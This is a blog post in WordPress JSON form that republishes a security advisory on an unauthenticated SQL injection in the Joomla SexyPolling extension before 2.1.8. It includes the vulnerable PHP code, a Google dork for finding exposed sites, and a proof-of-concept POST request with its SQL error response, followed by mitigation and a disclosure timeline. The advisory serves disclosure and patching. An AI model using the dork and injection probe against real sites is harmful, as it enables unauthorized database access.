{"id":24345,"date":"2022-05-11T23:18:59","date_gmt":"2022-05-11T19:18:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167093\/joomlasexypolling217-sql.txt"},"modified":"2022-05-15T09:39:12","modified_gmt":"2022-05-15T05:09:12","slug":"joomla-sexypolling-2-1-7-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/joomla-sexypolling-2-1-7-sql-injection\/","title":{"rendered":"Joomla SexyPolling 2.1.7 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Joomla Plugin SexyPolling 2.1.7 &#8211; SQLi<br \/>\n# Google Dork: intext:&#8221;Powered by Sexy Polling&#8221;<br \/>\n# Date: 2022-02-08<br \/>\n# Exploit Author: Wolfgang Hotwagner<br \/>\n# Vendor Homepage: https:\/\/2glux.com\/projects\/sexypolling<br \/>\n# Software Link: https:\/\/2glux.com\/downloads\/files\/free\/sexypolling_pack_2.1.7_2glux.com.zip<br \/>\n# Version: all versions below version 2.1.8<br \/>\n# Tested on: Debian Bullseye<\/p>\n<p dir=\"ltr\">SexyPolling SQL Injection<\/p>\n<p dir=\"ltr\">====================<\/p>\n<p dir=\"ltr\">| Identifier: | AIT-SA-20220208-01|<br \/>\n| Target: | Sexy Polling ( Joomla Extension) |<br \/>\n| Vendor: | 2glux |<br \/>\n| Version: | all versions below version 2.1.8 |<br \/>\n| CVE: | Not yet |<br \/>\n| Accessibility: | Remote |<br \/>\n| Severity: | Critical |<br \/>\n| Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |<\/p>\n<p dir=\"ltr\">Summary<\/p>\n<p dir=\"ltr\">========<\/p>\n<p dir=\"ltr\">[Sexy Polling is a Joomla Extension for votes.](https:\/\/2glux.com\/projects\/sexypolling). In all versions below 2.1.8 an unauthenticated attacker could execute arbitrary SQL commands by sending crafted POST-parameters to poll.php.<\/p>\n<p dir=\"ltr\">Vulnerability Description<\/p>\n<p dir=\"ltr\">====================<\/p>\n<p dir=\"ltr\">In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.<\/p>\n<p dir=\"ltr\">In lines 74 and 75 in the *site\/vote.php* code, the parameters are assigned without being checked:<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n$min_date_sent = isset($_POST[&#8216;min_date&#8217;]) ? $_POST[&#8216;min_date&#8217;].&#8217; 00:00:00&#8242; : &#8221;;<br \/>\n$max_date_sent = isset($_POST[&#8216;max_date&#8217;]) ? $_POST[&#8216;max_date&#8217;].&#8217; 23:59:59&#8242; : &#8221;;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">These are later used unfiltered by the WHERE clause:<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n$query_toal = &#8220;SELECT<br \/>\nCOUNT(sv.`id_answer`) total_count,<br \/>\nMAX(sv.`date`) max_date,<br \/>\nMIN(sv.`date`) min_date<br \/>\nFROM<br \/>\n`#__sexy_votes` sv<br \/>\nJOIN<br \/>\n`#__sexy_answers` sa ON sa.id_poll = &#8216;$polling_id&#8217;<br \/>\nAND<br \/>\nsa.published = &#8216;1&#8217;<br \/>\nWHERE<br \/>\nsv.`id_answer` = sa.id&#8221;;<\/p>\n<p dir=\"ltr\">\/\/if dates are sent, add them to query<br \/>\nif ($min_date_sended != &#8221; &amp;&amp; $max_date_sended != &#8221;)<br \/>\n$query_toal .= &#8221; AND sv.`date` &gt;= &#8216;$min_date_sended&#8217; AND sv.`date` &lt;= &#8216;$max_date_sended&#8217; &#8220;;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">Proof Of Concept<\/p>\n<p dir=\"ltr\">==============<\/p>\n<p dir=\"ltr\">To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.<\/p>\n<p dir=\"ltr\">HTTP-Request:<br \/>\n&#8220;`<br \/>\nPOST \/components\/com_sexypolling\/vote.php HTTP\/1.1<\/p>\n<p dir=\"ltr\">Host: joomla-server.local<br \/>\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<br \/>\nAccept: application\/json, text\/javascript, *\/*; q=0.01<br \/>\nAccept-Language: en-US,en;q=0.5<br \/>\nAccept-Encoding: gzip, deflate<br \/>\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8<br \/>\nX-Requested-With: XMLHttpRequest<br \/>\nHTTP_X_REAL_IP: 1.1.1.1<br \/>\nContent-Length: 193<br \/>\nOrigin: joomla-server.local<br \/>\nConnection: close<br \/>\nReferer: joomla-server.local\/index.php\/component\/search\/<br \/>\nCookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6<\/p>\n<p dir=\"ltr\">polling_id=1&amp;answer_id[]=3&amp;dateformat=digits&amp;min_date=2021-12-07&#8217;&amp;max_date=2021-12-14&amp;country_name=-&amp;country_code=-&amp;city_name=-&amp;region_name=-&amp;voting_period=24&amp;ae9a061e2170d406fb817b9ec0c42918=1<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">The HTTP-Resoonse contains a mysql error:<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\nHTTP\/1.1 500 Internal Server Error<br \/>\nDate: Wed, 15 Dec 2021 10:27:40 GMT<br \/>\nServer: Apache\/2.4.41 (Ubuntu)<br \/>\nSet-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=\/<br \/>\nExpires: Thu, 19 Nov 1981 08:52:00 GMT<br \/>\nCache-Control: no-cache<br \/>\nPragma: no-cache<br \/>\nSet-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=\/<br \/>\nContent-Length: 4768<br \/>\nConnection: close<br \/>\nContent-Type: application\/json<\/p>\n<p dir=\"ltr\">&lt;!DOCTYPE html&gt;<br \/>\n&lt;html lang=&#8221;en-gb&#8221; dir=&#8221;ltr&#8221;&gt;<br \/>\n&lt;head&gt;<br \/>\n&lt;meta charset=&#8221;utf-8&#8243; \/&gt;<br \/>\n&lt;title&gt;Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near &#8217;00:00:00&#8242; AND sv.`date` &lt;= &#8216;2021-12-14 23:59:59&#8221; at line 12&lt;\/title&gt;<br \/>\n&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>\n&lt;link href=&#8221;https:\/\/fonts.googleapis.com\/css?family=Open+Sans&#8221; rel=&#8221;stylesheet&#8221; \/&gt;<br \/>\n&#8220;`<\/p>\n<p dir=\"ltr\">Vulnerable Versions<br \/>\n================<br \/>\nAll versions below version 2.1.8<\/p>\n<p dir=\"ltr\">Tested Versions<br \/>\n=============<br \/>\nSexy Polling ( Joomla Extension) 2.1.7<\/p>\n<p dir=\"ltr\">Impact<br \/>\n======<br \/>\nAn unauthenticated attacker could inject and execute SQL commands on the database.<\/p>\n<p dir=\"ltr\">Mitigation<br \/>\n=========<br \/>\nSexy Polling 2.1.8 fixed that issue<\/p>\n<p dir=\"ltr\">Vendor Contact Timeline<br \/>\n====================<br \/>\n| 2021-12-14 | Unable to find a contact of the vendor |<br \/>\n| 2021-12-15 | Contacting Joomla Security Strike Team |<br \/>\n| 2021-12-29 | Answer from the Joomla Security Strike Team that they will investigate the problem. |<br \/>\n| 2022-01-01 | Sexy Polling releases 2.1.8 |<br \/>\n| 2022-04-08 | Public Disclosure |<\/p>\n<p dir=\"ltr\">*We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.*<\/p>\n<p dir=\"ltr\">Advisory URL<br \/>\n===========<br \/>\n[https:\/\/www.ait.ac.at\/ait-sa-20220208-01-sexypolling](https:\/\/www.ait.ac.at\/ait-sa-20220208-01-sexypolling)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Joomla Plugin SexyPolling 2.1.7 &#8211; SQLi # Google Dork: intext:&#8221;Powered by Sexy Polling&#8221; # Date: 2022-02-08 # Exploit Author: Wolfgang Hotwagner # Vendor Homepage: https:\/\/2glux.com\/projects\/sexypolling # Software Link: https:\/\/2glux.com\/downloads\/files\/free\/sexypolling_pack_2.1.7_2glux.com.zip # Version: all versions below version 2.1.8 # Tested on: Debian Bullseye SexyPolling SQL Injection ==================== | Identifier: | AIT-SA-20220208-01| | Target: | &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-24345","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=24345"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/24345\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=24345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=24345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=24345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}